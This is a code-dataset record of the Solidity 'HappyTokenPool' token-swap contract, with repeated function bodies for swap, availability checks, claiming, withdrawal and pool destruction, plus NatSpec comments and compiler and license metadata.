returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
swap
function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; }
/** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 8630, 13298 ] }
12,420
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
check_availability
function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); }
/** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 13802, 14957 ] }
12,421
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
